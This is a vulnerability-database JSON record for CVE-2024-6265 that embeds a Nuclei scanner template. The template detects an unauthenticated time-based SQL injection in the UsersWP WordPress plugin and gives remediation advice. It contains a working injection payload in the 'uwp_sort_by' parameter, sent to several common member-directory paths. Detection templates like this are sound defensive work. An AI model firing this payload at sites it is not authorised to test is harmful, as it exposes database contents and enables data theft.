{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-6265/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-6265/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-6265/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-6265/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-6265/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-6265"},"sightings":{"href":"/api/v1/sightings/cve-2024-6265"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-6265.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-6265\n\ninfo:\n  name: UsersWP <= 1.2.10 - Unauthenticated SQL Injection\n  author: Shivam Kamboj\n  severity: critical\n  description: |\n    UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WordPress contains a time-based SQL Injection caused by insufficient escaping of the 'uwp_sort_by' parameter in all versions up to 1.2.10, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires attacker to control the 'uwp_sort_by' parameter.\n  remediation: |\n    Update to version 1.2.11 or later.\n  impact: |\n    Attackers can extract sensitive database information by executing arbitrary SQL queries, leading to data breach.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-6265\n  metadata:\n    verified: true\n    max-request: 6\n    publicwww-query: \"/plugins/userswp/\"\n  tags: cve,cve2024,wordpress,wp,wp-plugin,userswp,sqli,time-based,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        @timeout: 10s\n        GET {{path}}?uwp_sort_by=display_name,(SELECT+SLEEP(6))_asc HTTP/1.1\n        Host: {{Hostname}}\n\n    payloads:\n      path:\n        - \"/users/\"\n        - \"/members/\"\n        - \"/user-list/\"\n        - \"/member-directory/\"\n        - \"/directory/\"\n        - \"/all-users/\"\n\n    attack: clusterbomb\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=6\"\n          - \"status_code == 200\"\n          - 'contains_any(body, \"uwp-users\", \"uwp_page\", \"wp-content/plugins/userswp\")'\n        condition: and\n# digest: 4b0a0048304602210083b370da7d6774d11afc34aa8a76c9b47a52c51034fa22a0988641c08c4bb152022100d6c7b85923170542d0072ca61d4506ff0c963b1f3a15c1adb881bb8aee19799f:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-6265"}